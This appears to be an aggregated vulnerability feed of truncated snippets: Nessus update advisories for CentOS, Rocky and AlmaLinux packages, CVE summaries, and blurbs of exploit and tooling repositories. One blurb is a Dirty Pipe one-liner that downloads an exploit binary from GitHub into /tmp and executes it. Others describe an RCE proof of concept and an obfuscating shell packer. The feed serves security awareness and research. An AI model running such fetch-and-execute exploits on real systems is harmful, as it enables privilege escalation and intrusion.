CentOS Linux 7 [TuxCare] Security Update: glib2 / glib2-devel / glib2-doc / glib2-fam / glib2-static / etc (CENTOS7:CLSA-2025:1758709327)

The CentOS Linux 7 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2025:1758709327 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL 80900...

Rocky Linux 9.6 [CIQ] Security Update: libtiff / libtiff-devel / libtiff-static / libtiff-tools (ciqsa-2026_1334)

The Rocky Linux 9.6 host has packages installed that are affected by a vulnerability as referenced in the CIQ ciqsa-20261334 advisory. This advisory aggregates security fixes for the libtiff SRPM in CIQ LTS 9.6. It addresses 1 CVE: CVE-2023-52356. Tenable has extracted the preceding description...

CentOS Linux 7 [TuxCare] Security Update: glibc / glibc-common / glibc-devel / glibc-headers / glibc-static / etc (CENTOS7:CLSA-2025:1757700003)

The CentOS Linux 7 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2025:1757700003 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL 80900...

Rocky Linux 9.2 [CIQ] Security Update: expat / expat-devel / expat-static (ciqsa-2026_1549)

The Rocky Linux 9.2 host has packages installed that are affected by a vulnerability as referenced in the CIQ ciqsa-20261549 advisory. This advisory aggregates security fixes for the expat SRPM in CIQ LTS 9.2. It addresses 1 CVE: CVE-2026-93990. Tenable has extracted the preceding description blo...

CentOS Linux 8.4 [TuxCare] Security Update: expat / expat-devel / expat-static Multiple Vulnerabilities (CENTOS8.4:CLSA-2026:1767799061)

The CentOS Linux 8.4 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare CENTOS8.4:CLSA-2026:1767799061 advisory. - expat before version 2.4.0 does not properly handle entities expansion unless an application developer uses the...

AlmaLinux 9.2 [TuxCare] Security Update: expat / expat-devel / expat-static (ALMALINUX9.2:CLSA-2025:1764956967)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1764956967 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL...

CentOS Linux 8.5 [TuxCare] Security Update: libxml2 / libxml2-devel / libxml2-static / python3-libxml2 (CENTOS8.5:CLSA-2025:1754554806)

The CentOS Linux 8.5 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS8.5:CLSA-2025:1754554806 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL...

Rocky Linux 8 [CIQ] Security Update: cjose / cjose-debuginfo / cjose-debugsource / cjose-devel / etc Multiple Vulnerabilities (crlsa-2022_1823)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20221823 advisory. modauthopenidc: open redirect in oidcvalidateredirecturl CVE-2021-32786 modauthopenidc: hardcoded static IV and AAD with a reused key in AES GCM encryption...

CentOS Linux 7 [TuxCare] Security Update: minizip / minizip-devel / zlib / zlib-devel / zlib-static (CENTOS7:CLSA-2026:1782981445)

The CentOS Linux 7 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2026:1782981445 advisory. - The crc32big function in crc32.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact via vectors involving...

CentOS Linux 8 [TuxCare] Security Update: expat / expat-devel / expat-static Multiple Vulnerabilities (CENTOS-STREAM8:CLSA-2026:1767798754)

The CentOS Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare CENTOS-STREAM8:CLSA-2026:1767798754 advisory. - expat before version 2.4.0 does not properly handle entities expansion unless an application developer uses the...

CVE-2026-86218

CVE-2026-86218 - N-able N-central 预认证 RCE 漏洞利用 概述 这是一个针对 CVE-2026-86218 的 Python 3 概念验证漏洞利用程序，该漏洞是 N-able N-central 中的一个严重预认证远程代码执行漏洞。 漏洞详情： CVE： CVE-2026-86218 CVSS 评分： 10.0（严重） CWE： CWE-96（静态代码注入） 受影响版本： N-central options 选项 选项| 描述 ---|--- -t, --target| 目标 N-central URL（例如 https://192.168.1.100...

CVE-2026-47097

AJA HELO Plus firmware before 2.1.7 contains an information disclosure vulnerability that allows unauthenticated attackers to decrypt sensitive diagnostics bundles by exploiting a static AES passphrase embedded in obfuscated form within the firmware. Attackers can reverse engineer the publicly...

CVE-2025-63314

CVE-2025-63314 - Acora CMS におけるパスワードリセットトークン処理の不備 Crowe India の Joby Y Daniel によって発見されました 📌 概要 DDSN Interactive cm3 Acora CMS バージョン 10.7.1 には、パスワードリセット機能にセキュリティ上の脆弱性が存在します。 このアプリケーションは、使用後に無効化されず、時間の経過によっても失効しない、静的かつ永続的なパスワードリセットトークンを使用します。 この欠陥により、有効なリセットトークンを入手した攻撃者は、そのトークンを無期限に再利用でき、特権ユーザーアカウン...

Malware-Analysis-Follina-CVE-2022-30190

Malware-Analysis-Follina-CVE-2022-30190 静的マルウェア解析 – Follina エクスプロイト（CVE-2022-30190） 悪意のある Microsoft Word 文書の調査 実践的なマルウェア解析セッションを Kali Linux で行っている際に、sample.doc という疑わしいファイルに遭遇しました。実行せずにその正体と挙動を理解するため、体系的な静的解析を実施することにしました。 このドキュメントでは、私が取った正確な手順、行った観察、そして到達した結論について説明します。 すべての作業は、Kali Linux を実行する隔離され...

CVE-2026-47097 AJA HELO Plus < 2.1.7 Hardcoded AES Passphrase for Diagnostics Export Bundle

AJA HELO Plus firmware before 2.1.7 contains an information disclosure vulnerability that allows unauthenticated attackers to decrypt sensitive diagnostics bundles by exploiting a static AES passphrase embedded in obfuscated form within the firmware. Attackers can reverse engineer the publicly...

CVE-2025-20384

SPLUNK CVE-2025-20384 なぜか知らないけど、友達が送ってきたものを読んで、適当なJavaScriptコードを打ち始めた。 Log Injection/Forgery/Poisoning/Obfuscate type POC この記事をお読みください OWASP Log Injection TL;DR 静的ファイルを探し、それを渡してランダムなパラメータを追加する そこで、以下のように実行する。curl -k...

CVE-2022-0847-Dirty-Pipe

单行漏洞利用 CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

HimitsuShell

翻译版本，错误请提 Issue。 README: English | 中文 | 日本語 | 한국어 HimitsuShell 即使在内核级追踪下也无法被察觉的 Shell 脚本。 将 shell 脚本转换为包含内置解释器、基于 LLVM 的混淆及反调试保护的单一静态二进制文件（shc 的替代方案）。 基本块流程图（Ghidra） 使用方法 1. download docker image x8664linuxmusl curl -LO...

gud425.github.io

このリポジトリには README がありません。...

dj

dj - 动态加载 JS 文件提取工具 English | 中文 dj 通过静态分析网站 HTML 和 JS 代码，智能探测由 JS 触发的动态加载文件，包括 webpack chunk、import 懒加载等。 功能特性 深度分析网站 HTML 和 JS，提取动态加载的 JavaScript 文件 智能探测动态加载模式：import、require、webpack chunk、vite preload 等 支持多种前端框架的 chunk 映射：Next.js、Nuxt.js、Vite、SvelteKit、Webpack 等 自动发现 Source Map 并还原原始源码 （优先...